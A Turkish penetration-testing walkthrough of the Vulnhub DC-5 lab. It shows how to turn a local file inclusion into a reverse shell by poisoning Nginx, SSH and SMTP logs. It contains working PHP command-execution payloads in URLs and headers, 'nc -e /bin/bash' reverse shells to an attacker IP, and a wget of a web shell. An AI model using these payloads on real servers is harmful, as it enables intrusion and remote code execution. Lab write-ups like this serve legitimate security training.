Nginx Üzerinde LFI Log Zehirleme Yöntemi İle Ters Bağlantı Elde Etme

0
341
views

NginxWeb uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, DC: 5 sanal makinesindeki log dosyasında bulunan dosya dahil etme (File Inclusion) zafiyeti istismar edilerek, ters bağlantı erişimi elde edilecektir.

Yazıda kullanılan DC: 5 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/dc-5,314/

 

LFI zafiyetinin bulunduğu URL aşağıdaki gibidir.

http://192.168.3.132/thankyou.php?file=[DOSYA_YOLU]

 

Bu zafiyet ile sunucu üzerindeki bir dosya (web uygulama kullanıcısının yetkisi dahilinde) okunabilmektedir. Örnek bir sonuç aşağıdaki gibidir.

curl http://192.168.3.132/thankyou.php?file=/etc/passwd -s | sed -n ‘/<footer>/,/<\/footer>/p’

 

LFI zafiyetini istismar ederek komut çalıştırabilmek için çeşitli yöntemler bulunmaktadır. Bu yöntemlerden birisi de log dosyası zehirleme yönteminin kullanılmasıdır. Sanal makinede çalışan mevcut web sunucusunun Nginx olduğu görülmektedir.

curl -I http://192.168.3.132

 

Varsayılan Nginx yapılandırma dosyası (“/etc/nginx/nginx.conf“) incelendiğinde web uygulamasına ait logların “/var/log/nginx/” dizini altında olduğu görülmektedir.

curl http://192.168.3.132/thankyou.php?file=/etc/nginx/nginx.conf -s | sed -n ‘/<footer>/,/<\/footer>/p’ | grep -Ev “#|^$”

 

Benzer olarak web kök dizininin “/var/www/html” olduğu görülmektedir.

curl http://192.168.3.132/thankyou.php?file=/etc/nginx/sites-enabled/default -s | sed -n ‘/<footer>/,/<\/footer>/p’ | grep -Ev “#|^$”

 

Log dosyası içerisinden komut çalıştırabilmek için PHP passthru metodu kullanılabilir.

nc 192.168.3.132 80
GET thankyou.php?file=<?php passthru($_GET[‘KOMUT’]); ?> HTTP/1.1

 

Örnek bir komutun sonucu NGNIX log dosyasına yazılmaktadır.

http://192.168.3.132/thankyou.php?file=/var/log/nginx/access.log&KOMUT=ifconfig

 

Not: HTTP hizmetinin log dosyalarını kullanmak yerine; SSH, SMTP gibi servislerin log dosyaları (/var/log/auth.log, /var/spool/mail/KULLANICI) üzerinden de ters bağlantı elde edilebilir. Örnek;

ssh <? php system($_GET[‘KOMUT’]);?>@HEDEF_IP
smtp-user-enum -M VRFY -U Kullanicilar.liste -t HEDEF_IP

 

Ters bağlantı elde edebilmek için “nc” aracı kullanılabilir.

nc -e /bin/bash 192.168.3.129 1111

 

Bir taraftan da ters bağlantı isteğini yakalayacak aşağıdaki gibi bir dinleyici başlatılabilir.

nc -nlvp 1111

 

KOMUT” parametresine ters bağlantıyı sağlayacak bir komut verildiğinde ters bağlantı elde edilmiş olacaktır.

http://192.168.3.132/thankyou.php?file=/var/log/nginx/access.log&KOMUT=nc -e /bin/bash 192.168.3.129 1111

nc -nlvp 1111

 

Bunun yanında log dosyasının içerisinde Referer, User-Agent gibi bilgiler de kaydedilmektedir.

Bu sebeple, User-Agent değeri değiştirilerek de komut satırı erişimi elde edilebilir.

GET /thankyou.php?file=/var/log/nginx/access.log&KOMUT_AJAN=nc -e /bin/bash 192.168.3.129 3333 HTTP/1.1
User-Agent: <?php system($_GET[‘KOMUT_AJAN’]); ?>

 

Benzer olarak, Referer değeri değiştirilerek de komut satırı erişimi elde edilebilir.

GET /thankyou.php?file=/var/log/nginx/access.log&KOMUT_YONLENDIRMESI=nc -e /bin/bash 192.168.3.129 4444 HTTP/1.1
Referer: <?php shell_exec($_GET[‘KOMUT_YONLENDIRMESI’]); ?>

 

Not: Kaynaklardaki roguecod3r bağlantısında da belirtildiği gibi dosya yükleme yolu (…access.log&KOMUT=wget http://192.168.3.129:3333/wso.php) veya diske bir form dosyası oluşturma yolu da denenebilir.

 

Not: “thankyou.php” dosyasının içeriğinde de görüldüğü gibi, bu PHP dosyasına verilen dosya ($file), “include” fonksiyonu kullanılarak kontrolsüz bir şekilde içeri aktarılmıştır.

python -c ‘import pty;pty.spawn(“/bin/bash”)’
cd /var/www/html
ls
sed -n ‘/<footer>/,/<\/footer>/p’ thankyou.php

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • 21LTR: Scene 1: https://www.vulnhub.com/entry/21ltr-scene-1,3/

 

Kaynaklar:

Apache Log Poisoning through LFI

DC-5 Vulnhub Walkthrough

RCE with LFI and SSH Log Poisoning


LFI to shell – exploiting Apache access log
https://chryzsh.gitbooks.io/pentestbook/local_file_inclusion.html

How to perform SSH Log Poisoning through LFI to exploit a web server?


https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601
https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz